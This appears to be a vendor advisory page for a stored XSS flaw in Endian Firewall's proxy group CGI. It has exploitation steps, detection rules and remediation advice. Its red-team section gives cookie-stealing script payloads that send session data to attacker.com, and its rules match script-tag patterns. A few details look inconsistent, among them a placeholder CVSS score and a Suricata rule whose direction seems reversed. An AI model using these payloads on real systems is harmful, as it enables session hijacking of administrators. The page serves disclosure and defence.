CVE-2026-34814
Executive Summary
CVE-2026-34814 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the group parameter to /cgi-bin/proxygroup.cgi. The injected script is stored on the server and executed when other authenticated users view the affected page. This allows the attacker to perform actions such as session hijacking, credential theft, or defacement within the context of the Endian Firewall management interface. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for authentication and user interaction. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker must be authenticated.
- User Interaction (UI): Required (R) – A victim user must view the affected page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited modification of data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS allows for persistent attacks against other administrators.
Deep Dive & Mechanics
The vulnerability resides in the /cgi-bin/proxygroup.cgi CGI script, which is part of the Endian Firewall management interface. This script handles the creation and management of proxy groups. The group parameter, used to specify the group name, is not properly sanitized or encoded before being stored in the backend database and later rendered in the web interface.
When an authenticated attacker submits a crafted request to /cgi-bin/proxygroup.cgi with a malicious payload in the group parameter, the payload is stored. For example, a request like:
POST /cgi-bin/proxygroup.cgi HTTP/1.1
Host: target-endian-firewall
Cookie: session=valid_session_id
Content-Type: application/x-www-form-urlencoded
group=<script>alert('XSS')</script>&action=add
The server stores the payload in its configuration database. When any other authenticated user navigates to the proxy group management page (e.g., /cgi-bin/proxygroup.cgi?action=list), the stored payload is retrieved and rendered in the HTML response without proper encoding. The victim's browser then executes the injected JavaScript.
The root cause is a lack of output encoding or input validation for the group parameter. The application likely uses a templating engine that does not automatically escape user-supplied data, or the developer explicitly disabled escaping for this field.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# In /cgi-bin/proxygroup.cgi
my $group = param('group');
# Store $group directly into database without sanitization
$db->execute("INSERT INTO proxy_groups (name) VALUES ('$group')");
# Later, when rendering the list:
my $groups = $db->selectall_arrayref("SELECT name FROM proxy_groups");
foreach my $g (@$groups) {
print "<tr><td>$g->[0]</td></tr>"; # No HTML encoding
}
Patched Code (Conceptual):
# In /cgi-bin/proxygroup.cgi
use HTML::Entities;
my $group = param('group');
# Sanitize input: strip or encode HTML tags
$group = encode_entities($group);
# Store sanitized value
$db->execute("INSERT INTO proxy_groups (name) VALUES (?)", $group);
# When rendering:
my $groups = $db->selectall_arrayref("SELECT name FROM proxy_groups");
foreach my $g (@$groups) {
print "<tr><td>" . encode_entities($g->[0]) . "</td></tr>";
}
The patched code uses parameterized queries to prevent SQL injection (though not the primary issue) and HTML entity encoding to neutralize XSS payloads.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid credentials for the Endian Firewall management interface.
- Network access to the management web server (typically port 443 or 10443).
Exploitation Steps:
- Log in to the Endian Firewall web interface.
- Navigate to the proxy group management page (e.g.,
/cgi-bin/proxygroup.cgi). - Intercept the request to add a new proxy group using a tool like Burp Suite.
- Modify the
groupparameter to include a JavaScript payload. Example:group=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the request.
- Wait for another administrator to view the proxy group list page. The payload will execute in their browser, sending their session cookie to the attacker's server.
Advanced Payload:
<script>
var img = new Image();
img.src = 'https://attacker.com/steal?data=' + encodeURIComponent(document.cookie + '|' + document.location);
</script>
Blue Team
Detection Steps:
- Monitor web server logs for unusual
groupparameter values in POST requests to/cgi-bin/proxygroup.cgi. Look for<script>,onerror=, or other HTML/JavaScript patterns. - Review database entries for proxy groups containing suspicious characters.
- Check for unexpected outbound connections from the Endian Firewall to external IPs, especially on ports 80/443.
- Use the detection rules provided in the Detection Engineering section.
Mitigation Steps:
- Immediately restrict access to the management interface to trusted IPs only.
- Review and rotate all administrative credentials.
- Apply input validation and output encoding as described in the Remediation section.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/cgi-bin/proxygroup.cgiwithgroupparameter containing<script>or other HTML tags. - Outbound HTTP/HTTPS connections to unknown IPs from the Endian Firewall.
- POST requests to
- File IOCs:
- Modified entries in the proxy group configuration database (e.g.,
/etc/endian/firewall/proxy_groups.dbor similar) containing JavaScript.
- Modified entries in the proxy group configuration database (e.g.,
- Log IOCs:
- Web server logs showing
group=<script>patterns. - System logs showing unexpected process execution (e.g.,
wget,curl).
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2026_34814_Stored_XSS {
meta:
description = "Detects stored XSS payload in Endian Firewall proxy group configuration"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-34814"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$xss_event = /on\w+\s*=\s*['\"].*?['\"]/is
$xss_src = /src\s*=\s*['\"].*?javascript:.*?['\"]/is
condition:
any of them
}
Sigma Rule
title: Endian Firewall Stored XSS via Proxy Group Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2026-34814 by injecting XSS payloads into the group parameter
author: Valters IT
date: 2026/01/01
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/cgi-bin/proxygroup.cgi'
cs-uri-query|contains|all:
- 'group='
- '<script'
condition: selection
falsepositives:
- Legitimate use of HTML in group names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-34814 - Endian Firewall Stored XSS via Proxy Group";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/proxygroup.cgi"; http_uri;
content:"group="; http_client_body;
pcre:"/<script[^>]*>/i";
sid:1000001;
rev:1;
reference:cve,2026-34814;
classtype:web-application-attack;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the Management Interface: Restrict access to the Endian Firewall web interface to trusted IP addresses only using firewall rules.
- Review and Rotate Credentials: Change all administrative passwords and review user accounts for unauthorized modifications.
- Monitor Logs: Actively monitor web server logs for XSS attempts and database logs for suspicious entries.
Long-Term Fixes:
- Input Validation: Implement strict input validation for the
groupparameter. Reject any input containing HTML tags or JavaScript event handlers. - Output Encoding: Apply HTML entity encoding to all user-supplied data before rendering it in the web interface. Use a library like
HTML::Entitiesin Perl or equivalent in other languages. - Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if a payload is injected.
- Update: Apply the official patch from Endian when it becomes available. Monitor the Endian security advisory page for updates.
Workaround:
- If patching is not immediately possible, disable the proxy group management feature by removing or restricting access to
/cgi-bin/proxygroup.cgivia web server configuration.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 17E47A2A634B5F0DD4CF47A2] */}